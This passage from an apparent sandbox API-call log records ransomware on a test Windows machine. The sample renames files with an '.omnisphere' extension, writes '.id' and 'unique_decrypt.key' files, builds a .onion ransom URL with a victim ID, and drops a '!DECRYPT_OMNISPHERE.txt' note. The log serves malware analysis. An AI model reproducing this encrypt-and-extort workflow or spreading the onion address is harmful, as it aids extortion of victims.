dwMoveMethod=0x3e0dcbc | out: lpNewFilePointer=0x0) returned 1 [0117.178] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0dcd0, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0dcd0*=0x524, lpOverlapped=0x0) returned 1 [0117.180] GetProcessHeap () returned 0x1600000 [0117.180] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c8) returned 0x16952f0 [0117.180] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml.omnisphere")) returned 1 [0117.180] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.omnisphere.id" [0117.180] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0117.181] WriteFile (in: hFile=0x288, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d758, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0d758*=0x524, lpOverlapped=0x0) returned 1 [0117.182] CloseHandle (hObject=0x288) returned 1 [0117.184] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0117.184] CloseHandle (hObject=0x28c) returned 1 [0117.184] SetEndOfFile (hFile=0x3a0) returned 1 [0117.184] FlushFileBuffers (hFile=0x3a0) returned 1 [0117.190] CloseHandle (hObject=0x3a0) returned 1 [0117.190] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks") returned 1 [0117.190] GetProcessHeap () returned 0x1600000 [0117.190] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16955c0 [0117.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0117.190] GetProcessHeap () returned 0x1600000 [0117.190] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693b48 [0117.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693b48, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0117.190] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0117.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0117.191] GetProcessHeap () returned 0x1600000 [0117.191] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687548 [0117.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687548, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0117.191] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0117.191] GetProcessHeap () returned 0x1600000 [0117.191] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc6) returned 0x162c5f8 [0117.191] PathCombineW (in: pszDest=0x162c5f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\!DECRYPT_OMNISPHERE.txt" [0117.191] GetProcessHeap () returned 0x1600000 [0117.191] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x168d4e0 [0117.191] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\publisher building blocks\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0117.193] WriteFile (in: hFile=0x3a0, lpBuffer=0x168d4e0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0dcf0, lpOverlapped=0x0 | out: lpBuffer=0x168d4e0*, lpNumberOfBytesWritten=0x3e0dcf0*=0x588, lpOverlapped=0x0) returned 1 [0117.194] CloseHandle (hObject=0x3a0) returned 1 [0117.195] GetProcessHeap () returned 0x1600000 [0117.195] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16955c0 | out: hHeap=0x1600000) returned 1 [0117.195] GetProcessHeap () returned 0x1600000 [0117.195] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xbc) returned 0x16415f0 [0117.195] PathCombineW (in: pszDest=0x16415f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\unique_decrypt.key" [0117.195] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\publisher building blocks\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0117.196] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0dd04, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0dd04*=0x5a0, lpOverlapped=0x0) returned 1 [0117.197] CloseHandle (hObject=0x3a0) returned 1 [0117.198] GetProcessHeap () returned 0x1600000 [0117.198] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16415f0 | out: hHeap=0x1600000) returned 1 [0117.198] GetProcessHeap () returned 0x1600000 [0117.198] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x166b0b8 | out: hHeap=0x1600000) returned 1 [0117.198] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fd72ee, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x43fd72ee, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0xde511f85, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0xdb, cFileName="ContentStore.xml", cAlternateFileName="CONTEN~1.XML")) returned 0 [0117.198] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0117.198] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43fd72ee, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x26f3ccdd, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26f3ccdd, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0117.198] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43fd72ee, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x26f3ccdd, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26f3ccdd, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0117.198] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26f3ccdd, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26f3ccdd, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26f3ccdd, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0117.198] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fd72ee, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x43fd72ee, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x26f16a49, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5cc, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="ContentStore.xml.omnisphere", cAlternateFileName="CONTEN~1.OMN")) returned 1 [0117.199] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26f16a49, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26f16a49, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26f16a49, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="ContentStore.xml.omnisphere.id", cAlternateFileName="CONTEN~1.ID")) returned 1 [0117.199] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26f3ccdd, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26f3ccdd, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26f3ccdd, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0117.199] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26f3ccdd, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26f3ccdd, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26f3ccdd, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0117.199] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0117.199] GetProcessHeap () returned 0x1600000 [0117.199] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16568c8 | out: hHeap=0x1600000) returned 1 [0117.199] GetProcessHeap () returned 0x1600000 [0117.199] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e228 | out: hHeap=0x1600000) returned 1 [0117.199] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38fae20, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38fae20, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38fae20, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Signatures", cAlternateFileName="SIGNAT~1")) returned 1 [0117.199] GetProcessHeap () returned 0x1600000 [0117.199] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x78) returned 0x163f980 [0117.199] PathCombineW (in: pszDest=0x163f980, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="Signatures" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Signatures") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Signatures" [0117.199] GetProcessHeap () returned 0x1600000 [0117.199] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7c) returned 0x16682c8 [0117.199] PathCombineW (in: pszDest=0x16682c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Signatures", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Signatures\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Signatures\\*" [0117.199] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Signatures\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38fae20, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38fae20, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38fae20, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0117.201] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38fae20, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38fae20, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38fae20, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0117.201] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38fae20, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38fae20, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38fae20, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 0 [0117.201] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0117.201] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Signatures\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38fae20, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38fae20, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38fae20, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0117.201] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38fae20, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38fae20, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38fae20, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0117.201] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38fae20, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38fae20, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38fae20, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 0 [0117.201] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0117.201] GetProcessHeap () returned 0x1600000 [0117.201] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16682c8 | out: hHeap=0x1600000) returned 1 [0117.201] GetProcessHeap () returned 0x1600000 [0117.201] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f980 | out: hHeap=0x1600000) returned 1 [0117.202] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech", cAlternateFileName="")) returned 1 [0117.202] GetProcessHeap () returned 0x1600000 [0117.202] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x70) returned 0x1606e38 [0117.202] PathCombineW (in: pszDest=0x1606e38, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="Speech" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech" [0117.202] GetProcessHeap () returned 0x1600000 [0117.202] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x1640080 [0117.202] PathCombineW (in: pszDest=0x1640080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\*" [0117.202] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0117.202] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0117.202] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="Files", cAlternateFileName="")) returned 1 [0117.202] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="Files", cAlternateFileName="")) returned 0 [0117.202] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0117.202] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x16395e8 [0117.203] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0117.203] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Files", cAlternateFileName="")) returned 1 [0117.203] GetProcessHeap () returned 0x1600000 [0117.203] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7c) returned 0x1668ce0 [0117.203] PathCombineW (in: pszDest=0x1668ce0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech", pszFile="Files" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files" [0117.203] GetProcessHeap () returned 0x1600000 [0117.203] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x80) returned 0x16681b8 [0117.203] PathCombineW (in: pszDest=0x16681b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\*" [0117.203] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd4, cFileName=".", cAlternateFileName="")) returned 0x16396e8 [0117.203] FindNextFileW (in: hFindFile=0x16396e8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd4, cFileName="..", cAlternateFileName="")) returned 1 [0117.203] FindNextFileW (in: hFindFile=0x16396e8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, 